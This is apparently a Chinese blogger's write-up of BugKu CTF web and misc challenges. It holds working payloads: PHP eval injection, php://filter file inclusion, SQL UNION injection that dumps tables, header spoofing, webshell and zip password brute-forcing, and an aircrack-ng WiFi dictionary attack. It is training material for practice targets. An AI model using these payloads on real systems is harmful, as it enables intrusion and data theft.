前两天无意间翻到一个CTF平台--BugKu,记下wp
WEB
1.Web2
查看源代码即可得到flag
2.计算器:
输入框位数受到限制,只能输一位,F12修改位数
3.web基础$_GET
$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
根据题意,直接将what赋值为flag去get提交
?what=flag
4.web基础$_POST
用post方式提交
5.矛盾
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
观察题目,应该是使用is_numeric遇到%00截断的漏洞,这里构造
http://123.206.87.240:8002/get/index1.php?num=1%00
知识点:
is_numeric()
判断变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。不仅检查10进制,16进制是可以。
is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。所以,查看函数发现该函数对对于第一个空格字符会跳过空格字符判断,接着后面的判断!
该函数还可能造成sql注入,例如将‘1 or 1'转换为16进制形式,再传参,就可以造成sql注入
6.web3
界面有点不尽 的弹窗,应该是使用了大量的alert语句,直接查看网页源代码
最后一行是这样的
使用html解码,得到flag
7.域名解析
提示:听说把 flag.baidu.com 解析到123.206.87.240 就能拿到flag
需要在hosts文件修改以下,我是在linux下做的比较方便
修改/etc/hosts
添加 flag.baidu.com 123.206.87.240 到文件中
然后打开浏览器访问 flag.baidu.com 得到flag
8.你必须让他停下
打开网站后网页一直都在跳动,而且页面不同,猜测flag在其中的一些网页中,采用burp一帧帧的看,在Repeter多次go,很容易就得到了flag
9.本地包含
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
方法一
对_REQUEST[]函数并不是很了解,百度得到它对get/Post都可以接受
其中第一句话include“flag.php”说明该文件在本地
第二句话要获得hello的值,由于hello为’hello’,所以无论在url栏中对hello赋任何值,都会全盘接受,其中var_dump()是将a打印到界面中,在根据eval函数的特性(计算后面括号中的表达式)
根据这一特性,我们尝试将flag.php文件直接输出
构造如下:http://123.206.87.240:8003/?hello=1);print_r(file("./flag.php"));%23
使原文语句为
eval(“var_dump(1);print_r(file(“./flag.php”))”)
方法二:
另外一种方法是直接对hello赋值为hello=file_get_contents('flag.php')
然后查按F12可以知道flag
10.变量1
<?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
根据代码得知只能get无符号字符串的args,而输入之后会返回$$args的值,提示flag再变量中,可以构造args=GLOBALS即可返回该全局变量数组的所有值,其中包括flag。
构造:http://123.206.87.240:8004/index1.php?args=GLOBALS
11.web5
查看源代码
直接将括号复制到谷歌浏览器的控制台运行得到flag
12. 头等舱
burp抓包:
13. 网站被黑
http://123.206.87.240:8002/webshell/
御剑后台扫描,发现shell.php
用burp自带的字典爆破,密码为hack
14.管理员系统
打开解题网址
很像sql注入的题,随便输入个账号先试试
看到这个就想到X-Forwarded-For
简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP
伪造一个XFF头,伪装成本地登录
X-Forwarded_For: 127.0.0.1
在来看看源码
看到在源码的最后面有一个base64的编码
解密为test123,猜测应该是管理员密码
Burp抓包,然后转到Repeater模块中
Go得到了flag,转换为flag格式
15.Web4
源码:
查看网页源代码p1=%..%...;p2=%..%...
题目最后p1+%..%...+p2
先进行URL解码
p1=function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b
p2=aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;
%35%34%61%61%32=54aa2
完整代码:
functioncheckSubmit(){
vara=document.getElementById("password");
if("undefined"!=typeof a){
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return!0;
alert("Error");
a.focus();
return!1
}
}
document.getElementById("levelQuest").onsubmit=checkSubmit;
则可知当传入的password值为67d709b2b54aa2aa648cf6e87a7114f1时返回真值得到flag。
16.flag在index里
将网页点开,在点击相应连接,网页地址栏变为:
http://123.206.87.240:8005/post/index.php?file=show.php
看到了file关键字,猜测为文件包含,看看用php://filter能否将index读出来
构造:
http://123.206.87.240:8005/post/index.php?file=php://filter/read/convert.base64-encode/resource=index.php
PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==
得到base64解码,观察程序得到flag
17.输入密码查看flag
burp进行五位数弱密码爆破,密码为13579
18. 点击一百万次
题目要点击100万次才行,很显然不能
查看网页源代码,根据
if(clicks >= 1000000)
直接将clicks赋值为10000000(POST方法),查看结果
不能直接修改前端代码
得到flag
19.备份是个好习惯
打开网页d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e
将里面的东西解码,每个解码的方式都试过了,未果,观察里面的加密值,发现先后重复
将d41d8cd98f00b204e9800998ecf8427e解密
然后在flag中试了各种与空有关的东西,未果。
观察题目,说备份是个好习惯猜测应该与备份有关
小知识:
备份文件一般情况是在后缀名后加的.swp,.bak
http://120.24.86.145:8002/web16/ 默认访问的是该路径的index.php文件
看看里面有什么东西
http://120.24.86.145:8002/web16/index.php.bak
访问成功了,复原备份文件
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
要求key1和key2的md5值相等,但是值不相等
百度得这两个值为240610708和QNKCDZO,尝试赋值,并没有什么变化
继续观察源程序,发现程序中将key字符变为空,考虑用kkeyey取代key,
然后得到了flag
20.成绩单
看到题后首先想到的是sql注入
先爆数据库:
0' union select 1,user(),database(),4 -- +
爆表:
0' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='skctf_flag' -- +
可以看到有俩表,flag应该在fl4g里
爆列:
-1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='fl4g' #
值:
-1' union select 1,skctf_flag,3,4 from fl4g#
BUGKU{Sql_INJECT0N_4813drd8hz4}
21.秋名山老司机
算数,无奈只能上脚本
这题不停刷新会看到
要post提交一个value数据,value就是结果值
福脚本:
import requests
import re
import base64
url='http://123.206.87.240:8002/qiumingshan/'
s=requests.session()
r=s.get(url)
searchObj = re.search(r'^<div>(.*)=\?;</div>$', r.text, re.M | re.S)
d = {
"value": eval(searchObj.group(1))
}
r = s.post(url, data=d)
print(r.text)
运行结果得flag
22.速度要快
源码提示:
上脚本
import requests
import re
import base64
url='http://123.206.87.240:8002/web6/'
s=requests.session()
r=s.get(url)
flag=r.headers['flag']
print(flag)
flag1=base64.b64decode(flag)
print(flag1)
flag2=base64.b64decode(str(flag1).split(":")[1][1:-1])
#将flag分为两部分,[1:-1]就是获取到的值
print(flag2)
data={"margin":flag2}
r=s.post(url,data)
print(r.text)
23.cookies欺骗
点进来URL
http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
a2V5cy50eHQ=解码是keys.txt 所以替换成base64后的index.php。没作用,但line=1时出现一行php代码,可判定line为源码的行数
写脚本遍历获得源代码
import re
import requests
url='http://123.206.87.240:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw'
for i in range(100):
url1=url%i
c1=requests.get(url1).text
print(c1)
if c1=='':
break
php源码:
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
从源码中看出访问keys.php,然后cookie值要margin=margin。。
前提keys.php以base64形式访问a2V5cy5waHA=
24.never give up
源码提示:
<!--1p.html-->
never never never give up !!!
抓包
然后访问1p.html
会得到一堆base64,解密后是url编码,再解码
if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>
直接访问f4l2a3g.txt 得到flag
MISC
1.签到题
直接关注公众号即可
2.这是一张简单的图片
将图片下载到本地,使用winhex打开图片,在末尾有一组数据信息
key{you are right}
html解码即可
3.隐写
打开发现是一张png格式的照片,放进StegSolve没发现啥
百度一下原来是改高度
找到IDR片段就是00 00 00 0D开头的,把其中的A4改为F4,得到flag
4.telnet
打开发现是一个数据包,用wireshark打开,查看整个包的信息,可以追踪一下TCP流,发现里面有一个flag
5.眼见非实
解压发现是个Word文档,尝试打开打不开,放进winhex里面看是504B0304开头的,一个zip文件,改后缀名再次打开,并在里面的document.xml发现flag
6.啊哒
拿到之后是一个jpg文件,先使用binwalk分析下文件,得到图片中隐藏了一段tiff信息以及一个压缩包,都分离出来,发现压缩包被加密了,
tiff信息在相机型号出处有一段十六进制,转换成字符串以后是sdnisc_2018,如下图所示:
使用这个密码解密压缩包,即可获得
7.又一张图片,还单纯吗??
放进binwalk里跑一下,发现里面还有一张图片分离出来
没找到flag,foremost提取吧
# foremost 图片地址
root@kali:~/桌面# foremost 2.jpg
Processing: 2.jpg
|*|
root@kali:~/桌面# ls
2.jpg output
root@kali:~/桌面# cd output/
root@kali:~/桌面/output# ls
audit.txt jpg
这时会在当前目录生成output文件,打开文件就可以看到一张flag图片
8.猜
直接百度搜图,某刘姓女明星
key{liuyifei}
9.宽带信息泄露
看到是一个二进制文件,用RoutePassView打开,题目提示是用户名,便寻找用户名
flag{用户名}
10.隐写2
winhex打开没发现什么
使用binwalk查看信息
里面zip压缩文件
使用binwalk或者foremost分离
打开output文件,里面有一个zip文件
还有个提示
提示密码是三位数
创建字典
crunch 3 3 0123456789 -o password.txt
fcrackzip爆破
fcrackzip -D -p password.txt -u flag.rar -v
也可以脚本爆破
import zipfile
import os
def main():
zip = zipfile.ZipFile("./123.zip","r",zipfile.zlib.DEFLATED)
with open("./password.txt") as f:
for data in f.readlines():
try:
print("\n[+] Trying the password ",data.strip())
zip.extractall(path="./",pwd=data.strip().encode())
print("\n[+] The password is",data.strip())
zip.close()
return
except Exception as e :
print(e)
pass
if __name__ == '__main__':
main()
解压后得到一张图片
通过写字板打开获得f1@g{eTB1IEFyZSBhIGhAY2tlciE=}
很明显eTB1IEFyZSBhIGhAY2tlciE=是Base64加密,通过解密获得y0u Are a h@cker!
即f1@g{y0u Are a h@cker!},提交时需要将f1@g变换为flag,即最终为flag{y0u Are a h@cker!}
11.多种方法解决
下载下来发现是一个exe文件,又打不开,放进Notepad++看一下,发现这是一个可以转图片的Base64
直接转换即可 http://base64.xpcha.com/ 是个二维码
扫一下获得key
12.linux
下载下来是一个linux下的压缩包,但这题不需要在linux下,解压后文件Notepad++打开并搜索关键字key得到flag
在linux下也行
13.闪的好快
一个变化的二维码
使用StegSolve查看帧数,共18,
一帧一帧扫完拼成flag
14.come_game
下载下来打开是个游戏
最后一关是flag,手残当根本过不去,另想别法
观察规律发现打开游戏后会生成Deathtime文件,应该是死亡时间,还有一个save文件应该是保存关数,于是想办法修改关数直接到最后一关,用winhex打开save文件
测试发现最后一关是第5关
flag: SYC{}
15.隐写3
感觉下面还有东西,于是就打算改高度,于是发现了flag
16.做个游戏(08067CTF)
提示:坚持60秒 相当难
下载下来jar文件,java反编译一下,
17想蹭网先解开密码
# w 写模式,它是不能读的,如果用w模式打开一个已经存在的文件,会清空以前的文件内容,重新写
# w+ 是读写内容,只要沾上w,肯定会清空原来的文件
with open('wifilist.txt','w+') as f:
for i in range(0,10):
for j in range(0,10):
for k in range(0,10):
for h in range(0,10):
f.write('1391040'+str(i)+str(j)+str(k)+str(h)+'\n')
f.close
用脚本先生成字典,然后爆破
kali命令爆破
aircrack-ng wifi.cap -w wifi.txt
得到flag
18.Linux2
直接解压Notepad++打开搜索key就有了,,,,
19.账号被盗了
访问链接,使用burpsuite抓包,修改Cookie,右键->Send to Repeater->go
将123.exe下载下来,打开是一个CF刷枪软件
使用wireshark抓包,账号密码随便填写
账号: YmtjdGZ0ZXN0QDE2My5jb20=
密码:YTEyMzQ1Ng==
将base64解密得到163邮箱,将密码解密是a123456,登录邮箱就可得到flag,
20. 细心的大象
lag格式 flag{xxx_xxx_xxx}
解压得到1.jpg图片
查看属性,发现有一段base64加密内容
解密得到明文,这应该是密码之类的,先放着
接下来 日常丢进kali binwalk 一下
分离 打开 要密码
把我们刚才的解密丢进去!成功!!
又是一张图片?
看图片应该是是改宽高
winhex修改高度
21.爆照(08067CTF)
留坑